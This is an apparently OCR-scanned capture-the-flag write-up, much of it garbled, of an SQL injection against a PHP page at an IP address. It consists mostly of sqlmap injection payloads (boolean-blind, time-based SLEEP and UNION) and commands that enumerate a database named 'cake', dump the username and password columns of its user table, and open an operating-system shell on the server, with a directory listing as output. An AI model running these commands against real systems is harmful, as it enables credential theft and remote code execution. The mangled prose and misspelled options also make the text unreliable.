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BT REEAEEN BB EE, http://59.63.200.79:6453/single.php?id=1/fFsqimap E#l: sqlmap -u
"http://59.63.200.79:6453/single.php?id=1" KM =ASQLIFH:

S LUIEU
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3798=3798 AND 'heEs'='heEs

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 2499 FROM (SELECT(SLEEP(5)))HZqG) AND 'VavQ'='VavQ

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=-7565' UNION ALL SELECT NULL,CONCAT(0x7170627871,0x6161595145537170616e47534476
644d51617a7759656d7957684468574a5767704b724a43565675,0x7176627671) ,NULL-- -  hit >sdn.net Ye

1BFE: sqlmap -u "http://59.63.200.79:6453/single.php?id=1" --dbs
1BF: sqlmap -u "http://59.63.200.79:6453/single.php?id=1" -D cake --tables --batch
1BFB: sqlmap -u "http://59.63.200.79:6453/single.php?id=1" -D cake -T user --columns --batch

1#{H: sqlmap -u "http://59.63.200.79:6453/single.php?id=1" -D cake -T user -C username --dump --batch
sqlmap -u "http://59.63.200.79:6453/single.php?id=1" -D cake -T user -C passwd --dump --batch

FREUR S 2R : sqlmap -u "http://59.63.200.79:6453/single.php?id=1" --o0s-shell
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[1] ASP
[2] ASPX

[3] JsP
[4|] PHP (default)
>

A FZ2% | http://59.63.200.79:6453/single.php?id=1
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No output

os-shell> dir

do you want to retrieve the command standard output? [Y/n/a] vy
command standard output:
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HEHFYISRE 1CE6-E2EC

C:\phpStudy\sql B F

2021/08/18 16:55 <DIR>
2021/08/18 16:55 <DIR> i
2020/08/23 02:24 cake.sql
2020/08/22 18:56 <DIR> CSs
2019/03/01 01:06 33 flag.php
2020/08/22 18:56 <DIR> images
2019/04/11 00:53 6,699 index.html
2019/04/10 17:01 38,438 index.jpg
2020/08/22 18:56 <DIR> js
2019/01/25 01:52 25 robots.txt
2020/08/22 18:57 1,903 single.php
2021/08/18 16:55 866 tmpbdbih.php
2020/10/09 17:19 908 tmpbxwtd.php
2020/10/09 17:19 3,294 tmpubsun.php
2021/08/18 16:55 3,294 tmpurdya.php

10 XX 59,157 FH#

5 ME R 17,331,277,824 JFH
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